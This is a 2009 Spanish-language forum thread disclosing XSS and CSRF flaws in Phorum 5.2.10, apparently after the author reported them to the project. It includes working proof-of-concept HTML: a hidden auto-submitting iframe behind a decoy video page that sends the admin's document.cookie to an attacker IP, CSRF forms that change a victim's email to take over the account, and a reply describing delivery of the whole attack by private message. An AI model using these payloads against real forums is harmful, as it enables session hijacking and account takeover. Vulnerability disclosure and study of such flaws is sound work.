Múltiples fallas en Phorum 5.2.10

Iniciado por WHK, 12 Marzo 2009, 04:36 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Sistema afectado: http://www.phorum.org/

Entré en el foro de un amigo (si se puede decir amigo todavía) y me dió curiosidad de saber que sistema estaba utilizando o realemnte lo habia construido el y su staff como me habian dicho así que me puse a revisar sus variables get y las puse en gogole una por una hasta que encontré que estaban utilizando un sistema de foros llamado Phorum, me dió mas curiosidad todavía y me puse a descargar el sistema.
Al darle un vistazo simple a un solo archivo me di cuenta de muchisimas faltas que podia causar desde un XSS hasta CSRF.

Como el foro era de un "amigo" se lo dije por msn y me mandó a la chingada XD y me dijo que porque no jodia en otro lado y reportaba la falla al autor y bueno, eso fue lo que hize. Ahora que el sistema ya ha sido parchado (en parte) lo publicaré en este lugar.

Les demostraré atraves de estas fallas como entrar como Administrador teniendo acceso total al servidor, postear como otros usuarios, modificar contraseñas de sesiones, etc.

1. XSS
Código (php) [Seleccionar]
} elseif(isset($_POST["panel"])){
    $panel = $_POST["panel"];

Acá podemos ver en el archivo control.php que declara la variable $panel directamente desde $_POST["panel"] sin procesar ningún tipo de filtro ni nada permitiendo la inserción de carácteres especiales como "<", ">", comillas etc los cuales pueden transformarse en código HTML.
Para que esto funcione vemos que la variable es POST así que hacemos una petición POST inyectando esa variable de la siguiente manera:
Código (html4strict) [Seleccionar]
<form method="post" action="http://web/path/control.php">
<input type="text" name="panel" value="Tu XSS acá" />
<input type="submit" value=" Submit "/>
</form>


Enviamos un valor algo así como: "><h1>prueba
y podemos ver que el código html infectó la variable $panel pero en que parte se muestra ahora para que se ejecute?:
Código (php) [Seleccionar]
$PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";
Offtopic (En este caso utilizar comillas simples para declarar el valor de esa variable era mas eficiente ya que evitabas escribir \ cada ves que quisiera ingresar una comilla doble y las llaves se hubieran reemplazado por comilla mas coma que pasado a eficiencia resulta mas liviano en ejecutarse y mas aún cuando esto se extiende en todo el sistema)

Podemos ver que $panel es imrpimido en la web y cuando enviamos la variable post podemos ver como se incrusta nuestro código en la web.

2. CSRF
Bueno, acá n vamos a profundizar o tendremos que exponer todas las funciones que utilizen POST y GET para actualizar datos ya que en ningún caso es utilizado ningún token ni una verificación de referencia ni nada así que podriamos decir que podemos hacer practicamente de todo arbitrariamente tanto como modificar los datos de su perfil como postear, cambiar contraseñas etc etc.

Pruebas
Creamos un archivo llamativo que requiera javascript para ejecutar nuestro XSS:

Index.html
Código (html4strict) [Seleccionar]
<object width="425" height="344">
<param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1">
</param>
<param name="allowFullScreen" value="true">
</param>
<param name="allowscriptaccess" value="always">
</param>
<embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
</embed>
</object>
<!-- muchos espacios de retorno acá -->
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br>
<iframe src="test.html" width="1" height="1" frameborder="0"></iframe>


test.html
Código (html4strict) [Seleccionar]
<!--
-=[WHK]=-
Prueba de concepto para Phorum 5.2.10 y versiones anteriores.
Prueba de concepto 1 de 18
-->
<form method="post" action="http://foro.forodemiamigo.net/control.php">
<input type="hidden" value='">
<script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script>
<br x="' name="panel"/>
<input type="submit" value=" Submit "/>
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


Con esto hacemos que nuestro amigo administrador o alguiehn que tenga los suficientes derechos pueda ver el video que aparece en el index.html y cuando lo haga nos enviará su cookie en forma de petición get como por ejemplo:
http://mi_ip/metopo.json?req=sdfhvfsdf4645465
Ahora para capturarlo pueden hacerlo en php y guardarlo en un texto, en mi caso simplemente lo capturé desde los logs de acceso.

Ahora tomamos esa cookie y la ponemos en nuestro explorador y listo!, ya somos Administradores  ;D.

Ahora en el caso de que no hubiera XSS y quisieras hacerlo via CSRF puedes enviarle una petición para modificar su correo y luego debolverte tu pass al mismo ^^
Código (html4strict) [Seleccionar]
<form action="http://foro.forodemiamigo.net/control.php" method="post">
<input type="hidden" name="forum_id" value="0" />
<input type="hidden" name="panel" value="email" />
<input type="hidden" name="email" value="mi_mail@gmail.com" />
<input type="hidden" name="hide_email" value="1" />
<input type="submit" value=" Submit " />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

Ahora que ya modificamos su mail nos pedirá un código de confirmación para comprobar que el correo le pertenece y eso debe ser ingresado en su mismo panel de usuario así que lo recogemos y enviamos desde otro csrf:
Código (html4strict) [Seleccionar]
<form method="post" action="http://foro.forodemiamogo.net/control.php">
<input type="hidden" value="0" name="forum_id"/>
<input type="hidden" value="email" name="panel"/>
<input type="hidden" value="mi_mail@gmail.com" name="email"/>
<input type="hidden" value="HASH RECIBIDO POR MAIL" name="email_verify_code"/>
<input type="hidden" checked="checked" value="1" name="hide_email"/>
<input type="submit" value=" Submit "/>
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


Otras cosas que puedes hacer de la misma forma es postear por tu amigo o modificar su firma, etc.

Ahora le pusieron un Token de seguridad para evitar un ataque CSRF pero si tubieras acceso a otro XSS podrías incluir instrucciones Ajax para tomar el valor de su token y enviar una petición via XMLHttp con el CSRF y realizar exatamente lo mismo nuevamente.

Recibí en el último correo del director del rpoyecto los links con los trakers para que puedan actualizar su sistema yq eu todavía no se pone el paquete con sus parches de forma publica:
http://trac.phorum.org/changeset/3930
http://trac.phorum.org/changeset/3936
http://trac.phorum.org/changeset/3787

También le comenté de la ausencia de mysql_close dejandolo vulnerable a un ataque de peticiones masivas de vajo nivel causando daños relevantes ya que se ahogaría solo con tantas conexiones.

sirdarckcat

El cambio de password tambien es vulnerable a CSRF, y no tiene que ser por POST, por GET tambien funciona, lo has probado? por puro GET?

WHK

Si lo probé, para modificar directamente el password necesitas ingresar el password antiguo y así no podrás, lo que hay que hacer es atraves de un CSRF modificar el correo y decirle al sistema que olvidaste la contraseña para que le puedas asignar la que tu quieras.
No vi si algunas variables que viajan atraves de POST pueden ser declaradas desde GET, lo desconozco pero si fuera así entonces el riesgo sería mayor tal como lo es en el sistema Cpanel que toma todos los valores tanto via get como post compatibilizando un ataque via GET sin la necesidad de utilizar javascript para un redireccionamiento como se hace via post (o me equivoco?  :huh:, por lo menos yo lo desconozco).

sirdarckcat

si, me equivoque es "tambien era vulnerable" jaja, mi punto era probar si necesitabas GET o POST, porque si no, puedes mandar una imagen al admin como MP con el ataque ;)

con un solo MP puedes hacer que se haga la peticion de cambio de mail, y con otra imagen en el mismo mensaje, que este esperando a que se reciba el mail, y cuanod lo haga, lo rediriga a la otra pagina.

de esta forma todo el exploit se puede hacer en un solo MP al admin :D